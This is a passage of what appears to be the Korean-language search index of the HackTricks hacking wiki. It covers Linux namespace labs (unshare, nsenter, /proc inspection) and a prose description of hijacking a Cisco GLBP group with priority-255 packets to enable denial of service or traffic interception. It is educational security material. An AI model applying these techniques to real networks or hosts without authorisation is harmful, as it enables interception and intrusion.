트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » 사용자 네임스페이스","id":"1667","title":"사용자 네임스페이스"},"1668":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » CGroup Namespace » CGroup Namespace","id":"1668","title":"CGroup Namespace"},"1669":{"body":"cgroup 네임스페이스는 네임스페이스 내에서 실행되는 프로세스에 대한 cgroup 계층의 격리를 제공하는 리눅스 커널 기능입니다. cgroups는 제어 그룹 의 약자로, CPU, 메모리 및 I/O와 같은 **시스템 리소스에 대한 제한을 관리하고 시행하기 위해 프로세스를 계층적 그룹으로 조직할 수 있게 해주는 커널 기능입니다. cgroup 네임스페이스는 우리가 앞서 논의한 다른 네임스페이스 유형(PID, mount, network 등)과는 별개의 네임스페이스 유형이 아니지만, 네임스페이스 격리 개념과 관련이 있습니다. Cgroup 네임스페이스는 cgroup 계층의 뷰를 가상화 하여, cgroup 네임스페이스 내에서 실행되는 프로세스가 호스트 또는 다른 네임스페이스에서 실행되는 프로세스와 비교하여 계층의 다른 뷰를 갖도록 합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » CGroup Namespace » Basic Information","id":"1669","title":"Basic Information"},"167":{"body":"Cisco의 GLBP는 TCP/IP 스택에서 작동하며, 통신을 위해 포트 3222에서 UDP를 사용합니다. GLBP 그룹의 라우터는 3초 간격으로 \\"hello\\" 패킷을 교환합니다. 라우터가 10초 동안 이러한 패킷을 전송하지 않으면 오프라인으로 간주됩니다. 그러나 이러한 타이머는 고정되어 있지 않으며 수정할 수 있습니다.","breadcrumbs":"Pentesting Network » GLBP & HSRP Attacks » GLBP Protocol Insights","id":"167","title":"GLBP Protocol Insights"},"1670":{"body":"새로운 cgroup 네임스페이스가 생성되면, 생성 프로세스의 cgroup을 기반으로 한 cgroup 계층의 뷰로 시작합니다 . 이는 새로운 cgroup 네임스페이스 내에서 실행되는 프로세스가 전체 cgroup 계층의 하위 집합만을 보게 됨을 의미하며, 이는 생성 프로세스의 cgroup에 뿌리를 둔 cgroup 서브트리로 제한됩니다. cgroup 네임스페이스 내의 프로세스는 자신의 cgroup을 계층의 루트로 봅니다 . 이는 네임스페이스 내부의 프로세스 관점에서 자신의 cgroup이 루트처럼 보이며, 자신의 서브트리 외부의 cgroup을 볼 수 없고 접근할 수 없음을 의미합니다. cgroup 네임스페이스는 리소스의 격리를 직접 제공하지 않습니다; 그들은 단지 cgroup 계층 뷰의 격리만 제공합니다 . 리소스 제어 및 격리는 여전히 cgroup 서브시스템(예: cpu, memory 등) 자체에 의해 시행됩니다. CGroups에 대한 더 많은 정보는 다음을 확인하세요: CGroups","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » CGroup Namespace » How it works:","id":"1670","title":"How it works:"},"1671":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » CGroup Namespace » Lab:","id":"1671","title":"Lab:"},"1672":{"body":"CLI bash sudo unshare -C [--mount-proc] /bin/bash 새로운 인스턴스의 /proc 파일 시스템을 --mount-proc 매개변수를 사용하여 마운트하면, 새로운 마운트 네임스페이스가 해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰 를 갖도록 보장합니다. 오류: bash: fork: 메모리를 할당할 수 없습니다 unshare가 -f 옵션 없이 실행될 때, Linux가 새로운 PID (프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: 문제 설명 : Linux 커널은 프로세스가 unshare 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 \\"unshare\\" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. %unshare -p /bin/bash%를 실행하면 /bin/bash가 unshare와 동일한 프로세스에서 시작됩니다. 결과적으로 /bin/bash와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. 새로운 네임스페이스에서 /bin/bash의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. 결과 : 새로운 네임스페이스에서 PID 1의 종료는 PIDNS_HASH_ADDING 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 alloc_pid 함수가 새로운 PID를 할당하는 데 실패하여 \\"메모리를 할당할 수 없습니다\\" 오류가 발생합니다. 해결책 : 이 문제는 unshare와 함께 -f 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 unshare가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. %unshare -fp /bin/bash%를 실행하면 unshare 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. /bin/bash와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. unshare가 -f 플래그와 함께 실행되도록 보장함으로써, 새로운 PID 네임스페이스가 올바르게 유지되어 /bin/bash와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다. Docker bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » CGroup Namespace » Create different Namespaces","id":"1672","title":"Create different Namespaces"},"1673":{"body":"bash ls -l /proc/self/ns/cgroup\\nlrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> \'cgroup:[4026531835]\'","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » CGroup Namespace » 프로세스가 속한 네임스페이스 확인하기","id":"1673","title":"프로세스가 속한 네임스페이스 확인하기"},"1674":{"body":"bash sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \\\\; 2>/dev/null | sort -u\\n# Find the processes with an specific namespace\\nsudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \\\\; 2>/dev/null | grep ","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » CGroup Namespace » 모든 CGroup 네임스페이스 찾기","id":"1674","title":"모든 CGroup 네임스페이스 찾기"},"1675":{"body":"bash nsenter -C TARGET_PID --pid /bin/bash 또한, 루트 사용자만 다른 프로세스 네임스페이스에 들어갈 수 있습니다 . 그리고 디스크립터 없이 다른 네임스페이스에 들어갈 수 없습니다 (예: /proc/self/ns/cgroup).","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » CGroup Namespace » CGroup 네임스페이스 내부로 들어가기","id":"1675","title":"CGroup 네임스페이스 내부로 들어가기"},"1676":{"body":"https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » CGroup Namespace » References","id":"1676","title":"References"},"1677":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC Namespace » IPC Namespace","id":"1677","title":"IPC Namespace"},"1678":{"body":"IPC (Inter-Process Communication) 네임스페이스는 메시지 큐, 공유 메모리 세그먼트 및 세마포어와 같은 System V IPC 객체의 격리 를 제공하는 Linux 커널 기능입니다. 이 격리는 다른 IPC 네임스페이스에 있는 프로세스가 서로의 IPC 객체에 직접 접근하거나 수정할 수 없도록 하여 프로세스 그룹 간에 추가적인 보안 및 프라이버시 계층을 제공합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC Namespace » 기본 정보","id":"1678","title":"기본 정보"},"1679":{"body":"새로운 IPC 네임스페이스가 생성되면 완전히 격리된 System V IPC 객체 세트 로 시작합니다. 이는 새로운 IPC 네임스페이스에서 실행되는 프로세스가 기본적으로 다른 네임스페이스나 호스트 시스템의 IPC 객체에 접근하거나 간섭할 수 없음을 의미합니다. 네임스페이스 내에서 생성된 IPC 객체는 해당 네임스페이스 내의 프로세스만 볼 수 있고 접근할 수 있습니다 . 각 IPC 객체는 해당 네임스페이스 내에서 고유한 키로 식별됩니다. 키는 서로 다른 네임스페이스에서 동일할 수 있지만, 객체 자체는 격리되어 있으며 네임스페이스 간에 접근할 수 없습니다. 프로세스는 setns() 시스템 호출을 사용하여 네임스페이스 간에 이동하거나 unshare() 또는 clone() 시스템 호출을 사용하여 CLONE_NEWIPC 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 IPC 객체를 사용하기 시작합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC Namespace » 작동 방식:","id":"1679","title":"작동 방식:"},"168":{"body":"GLBP는 단일 가상 IP와 여러 가상 MAC 주소를 사용하여 라우터 간의 부하 분산을 가능하게 하여 두드러집니다. GLBP 그룹 내의 모든 라우터는 패킷 전달에 참여합니다. HSRP/VRRP와 달리 GLBP는 여러 메커니즘을 통해 진정한 부하 분산을 제공합니다: Host-Dependent Load Balancing: 호스트에 일관된 AVF MAC 주소 할당을 유지하여 안정적인 NAT 구성을 위해 필수적입니다. Round-Robin Load Balancing: 요청하는 호스트 간에 AVF MAC 주소 할당을 번갈아 가며 수행하는 기본 접근 방식입니다. Weighted Round-Robin Load Balancing: 미리 정의된 \\"Weight\\" 메트릭에 따라 부하를 분산합니다.","breadcrumbs":"Pentesting Network » GLBP & HSRP Attacks » GLBP Operations and Load Distribution","id":"168","title":"GLBP Operations and Load Distribution"},"1680":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC Namespace » 실습:","id":"1680","title":"실습:"},"1681":{"body":"CLI bash sudo unshare -i [--mount-proc] /bin/bash 새로운 인스턴스의 /proc 파일 시스템을 --mount-proc 매개변수를 사용하여 마운트하면, 새로운 마운트 네임스페이스가 해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰 를 갖도록 보장합니다. 오류: bash: fork: 메모리를 할당할 수 없습니다 unshare가 -f 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: 문제 설명 : Linux 커널은 프로세스가 unshare 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 \\"unshare\\" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. %unshare -p /bin/bash%를 실행하면 /bin/bash가 unshare와 동일한 프로세스에서 시작됩니다. 결과적으로 /bin/bash와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. 새로운 네임스페이스에서 /bin/bash의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. 결과 : 새로운 네임스페이스에서 PID 1의 종료는 PIDNS_HASH_ADDING 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 alloc_pid 함수가 새로운 PID를 할당하지 못하게 되어 \\"메모리를 할당할 수 없습니다\\" 오류가 발생합니다. 해결책 : 이 문제는 unshare와 함께 -f 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 unshare가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. %unshare -fp /bin/bash%를 실행하면 unshare 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. /bin/bash와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. unshare가 -f 플래그와 함께 실행되도록 보장함으로써, 새로운 PID 네임스페이스가 올바르게 유지되어 /bin/bash와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다. Docker bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC Namespace » 다양한 네임스페이스 생성","id":"1681","title":"다양한 네임스페이스 생성"},"1682":{"body":"bash ls -l /proc/self/ns/ipc\\nlrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> \'ipc:[4026531839]\'","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC Namespace » 프로세스가 어떤 네임스페이스에 있는지 확인하기","id":"1682","title":"프로세스가 어떤 네임스페이스에 있는지 확인하기"},"1683":{"body":"bash sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \\\\; 2>/dev/null | sort -u\\n# Find the processes with an specific namespace\\nsudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \\\\; 2>/dev/null | grep ","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC Namespace » 모든 IPC 네임스페이스 찾기","id":"1683","title":"모든 IPC 네임스페이스 찾기"},"1684":{"body":"bash nsenter -i TARGET_PID --pid /bin/bash 또한, 루트 사용자만 다른 프로세스 네임스페이스에 들어갈 수 있습니다 . 그리고 디스크립터 가 없으면 다른 네임스페이스에 들어갈 수 없습니다 (예: /proc/self/ns/net).","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC Namespace » IPC 네임스페이스에 들어가기","id":"1684","title":"IPC 네임스페이스에 들어가기"},"1685":{"body":"bash # Container\\nsudo unshare -i /bin/bash\\nipcmk -M 100\\nShared memory id: 0\\nipcs -m ------ Shared Memory Segments --------\\nkey shmid owner perms bytes nattch status\\n0x2fba9021 0 root 644 100 0 # From the host\\nipcs -m # Nothing is seen","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC Namespace » IPC 객체 생성","id":"1685","title":"IPC 객체 생성"},"1686":{"body":"https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC Namespace » References","id":"1686","title":"References"},"1687":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » PID Namespace » PID Namespace","id":"1687","title":"PID Namespace"},"1688":{"body":"PID (Process IDentifier) 네임스페이스는 Linux 커널의 기능으로, 프로세스 격리를 제공하여 프로세스 그룹이 다른 네임스페이스의 PID와 분리된 고유한 PID 집합을 가질 수 있게 합니다. 이는 보안 및 자원 관리에 필수적인 프로세스 격리가 중요한 컨테이너화에서 특히 유용합니다. 새로운 PID 네임스페이스가 생성되면, 해당 네임스페이스의 첫 번째 프로세스는 PID 1이 할당됩니다. 이 프로세스는 새로운 네임스페이스의 \\"init\\" 프로세스가 되며, 네임스페이스 내의 다른 프로세스를 관리하는 역할을 합니다. 네임스페이스 내에서 생성된 각 후속 프로세스는 해당 네임스페이스 내에서 고유한 PID를 가지며, 이러한 PID는 다른 네임스페이스의 PID와 독립적입니다. PID 네임스페이스 내의 프로세스 관점에서 볼 때, 동일한 네임스페이스의 다른 프로세스만 볼 수 있습니다. 다른 네임스페이스의 프로세스는 인식하지 못하며, 전통적인 프로세스 관리 도구(예: kill, wait 등)를 사용하여 상호작용할 수 없습니다. 이는 프로세스 간의 간섭을 방지하는 데 도움이 되는 격리 수준을 제공합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » PID Namespace » Basic Information","id":"1688","title":"Basic Information"},"1689":{"body":"새로운 프로세스가 생성될 때(예: clone() 시스템 호출을 사용하여), 프로세스는 새로운 또는 기존의 PID 네임스페이스에 할당될 수 있습니다. 새로운 네임스페이스가 생성되면, 프로세스는 해당 네임스페이스의 \\"init\\" 프로세스가 됩니다 . 커널 은 새로운 네임스페이스의 PID와 부모 네임스페이스의 해당 PID 간의 매핑을 유지합니다 (즉, 새로운 네임스페이스가 생성된 네임스페이스). 이 매핑은 커널이 필요할 때 PID를 변환할 수 있게 합니다 , 예를 들어 서로 다른 네임스페이스의 프로세스 간에 신호를 보낼 때. PID 네임스페이스 내의 프로세스는 동일한 네임스페이스의 다른 프로세스만 보고 상호작용할 수 있습니다 . 그들은 다른 네임스페이스의 프로세스를 인식하지 못하며, 그들의 PID는 네임스페이스 내에서 고유합니다. PID 네임스페이스가 파괴될 때 (예: 네임스페이스의 \\"init\\" 프로세스가 종료될 때), 해당 네임스페이스 내의 모든 프로세스가 종료됩니다 . 이는 네임스페이스와 관련된 모든 자원이 적절히 정리되도록 보장합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » PID Namespace » How it works:","id":"1689","title":"How it works:"},"169":{"body":"AVG (Active Virtual Gateway): MAC 주소를 피어 라우터에 할당하는 주요 라우터입니다. AVF (Active Virtual Forwarder): 네트워크 트래픽을 관리하도록 지정된 라우터입니다. GLBP Priority: AVG를 결정하는 메트릭으로, 기본값은 100이며 1에서 255 사이의 값을 가집니다. GLBP Weight: 라우터의 현재 부하를 반영하며, 수동으로 또는 Object Tracking을 통해 조정할 수 있습니다. GLBP Virtual IP Address: 모든 연결된 장치의 네트워크 기본 게이트웨스로 사용됩니다. GLBP는 예약된 멀티캐스트 주소 224.0.0.102와 UDP 포트 3222를 사용하여 상호작용합니다. 라우터는 3초 간격으로 \\"hello\\" 패킷을 전송하며, 10초 동안 패킷이 누락되면 비작동으로 간주됩니다.","breadcrumbs":"Pentesting Network » GLBP & HSRP Attacks » Key Components and Terminologies in GLBP","id":"169","title":"Key Components and Terminologies in GLBP"},"1690":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » PID Namespace » Lab:","id":"1690","title":"Lab:"},"1691":{"body":"CLI bash sudo unshare -pf --mount-proc /bin/bash Error: bash: fork: Cannot allocate memory unshare가 -f 옵션 없이 실행될 때, Linux가 새로운 PID (Process ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: 문제 설명 : Linux 커널은 프로세스가 unshare 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 \\"unshare\\" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. %unshare -p /bin/bash%를 실행하면 /bin/bash가 unshare와 동일한 프로세스에서 시작됩니다. 결과적으로 /bin/bash와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. 새로운 네임스페이스에서 /bin/bash의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. 결과 : 새로운 네임스페이스에서 PID 1의 종료는 PIDNS_HASH_ADDING 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 alloc_pid 함수가 새로운 PID를 할당하는 데 실패하여 \\"Cannot allocate memory\\" 오류가 발생합니다. 해결책 : 이 문제는 unshare와 함께 -f 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 unshare가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. %unshare -fp /bin/bash%를 실행하면 unshare 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. /bin/bash와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. unshare가 -f 플래그와 함께 실행되도록 함으로써 새로운 PID 네임스페이스가 올바르게 유지되어 /bin/bash와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다. 새로운 /proc 파일 시스템 인스턴스를 마운트하면 --mount-proc 매개변수를 사용하여 새로운 마운트 네임스페이스가 해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰 를 갖도록 보장합니다. Docker bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » PID Namespace » Create different Namespaces","id":"1691","title":"Create different Namespaces"},"1692":{"body":"bash ls -l /proc/self/ns/pid\\nlrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> \'pid:[4026532412]\'","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » PID Namespace » 프로세스가 어떤 네임스페이스에 있는지 확인하기","id":"1692","title":"프로세스가 어떤 네임스페이스에 있는지 확인하기"},"1693":{"body":"bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \\\\; 2>/dev/null | sort -u 루트 사용자는 초기(기본) PID 네임스페이스에서 모든 프로세스를 볼 수 있으며, 새로운 PID 네임스페이스의 프로세스도 볼 수 있습니다. 그래서 모든 PID 네임스페이스를 볼 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » PID Namespace » 모든 PID 네임스페이스 찾기","id":"1693","title":"모든 PID 네임스페이스 찾기"},"1694":{"body":"bash nsenter -t TARGET_PID --pid /bin/bash PID 네임스페이스에 들어가면 기본 네임스페이스에서 모든 프로세스를 여전히 볼 수 있습니다. 그리고 해당 PID 네임스페이스의 프로세스는 PID 네임스페이스에서 새로운 bash를 볼 수 있습니다. 또한, 루트 사용자일 경우에만 다른 프로세스 PID 네임스페이스에 들어갈 수 있습니다 . 그리고 디스크립터 가 없으면 다른 네임스페이스에 들어갈 수 없습니다 (예: /proc/self/ns/pid).","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » PID Namespace » PID 네임스페이스 내부로 들어가기","id":"1694","title":"PID 네임스페이스 내부로 들어가기"},"1695":{"body":"https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » PID Namespace » References","id":"1695","title":"References"},"1696":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Mount Namespace » Mount Namespace","id":"1696","title":"Mount Namespace"},"1697":{"body":"마운트 네임스페이스는 프로세스 그룹이 보는 파일 시스템 마운트 지점의 격리를 제공하는 리눅스 커널 기능입니다. 각 마운트 네임스페이스는 고유한 파일 시스템 마운트 지점 집합을 가지며, 하나의 네임스페이스에서 마운트 지점에 대한 변경 사항은 다른 네임스페이스에 영향을 미치지 않습니다 . 이는 서로 다른 마운트 네임스페이스에서 실행되는 프로세스가 파일 시스템 계층에 대한 서로 다른 뷰를 가질 수 있음을 의미합니다. 마운트 네임스페이스는 각 컨테이너가 다른 컨테이너 및 호스트 시스템과 격리된 자체 파일 시스템 및 구성을 가져야 하는 컨테이너화에서 특히 유용합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Mount Namespace » Basic Information","id":"1697","title":"Basic Information"},"1698":{"body":"새로운 마운트 네임스페이스가 생성되면, 부모 네임스페이스의 마운트 지점 복사본으로 초기화 됩니다. 이는 생성 시 새로운 네임스페이스가 부모와 동일한 파일 시스템 뷰를 공유함을 의미합니다. 그러나 네임스페이스 내의 마운트 지점에 대한 이후의 변경 사항은 부모 또는 다른 네임스페이스에 영향을 미치지 않습니다. 프로세스가 네임스페이스 내에서 마운트 지점을 수정할 때, 예를 들어 파일 시스템을 마운트하거나 언마운트할 때, 변경 사항은 해당 네임스페이스에 국한 되며 다른 네임스페이스에 영향을 미치지 않습니다. 이는 각 네임스페이스가 독립적인 파일 시스템 계층을 가질 수 있게 합니다. 프로세스는 setns() 시스템 호출을 사용하여 네임스페이스 간에 이동하거나, unshare() 또는 clone() 시스템 호출을 사용하여 CLONE_NEWNS 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 마운트 지점을 사용하기 시작합니다. 파일 디스크립터와 아이노드는 네임스페이스 간에 공유 되며, 이는 하나의 네임스페이스에 있는 프로세스가 파일을 가리키는 열린 파일 디스크립터를 가지고 있다면, 해당 파일 디스크립터를 다른 네임스페이스의 프로세스에 전달할 수 있으며 , 두 프로세스 모두 동일한 파일에 접근 할 수 있음을 의미합니다. 그러나 파일의 경로는 마운트 지점의 차이로 인해 두 네임스페이스에서 동일하지 않을 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Mount Namespace » How it works:","id":"1698","title":"How it works:"},"1699":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Mount Namespace » Lab:","id":"1699","title":"Lab:"},"17":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"HackTricks Values & FAQ » HackTricks Values & FAQ","id":"17","title":"HackTricks Values & FAQ"},"170":{"body":"공격자는 우선 순위 값(255)이 가장 높은 GLBP 패킷을 전송하여 주요 라우터가 될 수 있습니다. 이는 DoS 또는 MITM 공격으로 이어질 수 있으며, 트래픽 가로채기 또는 리디렉션을 허용합니다.","breadcrumbs":"Pentesting Network » GLBP & HSRP Attacks » GLBP Attack Mechanism","id":"170","title":"GLBP Attack 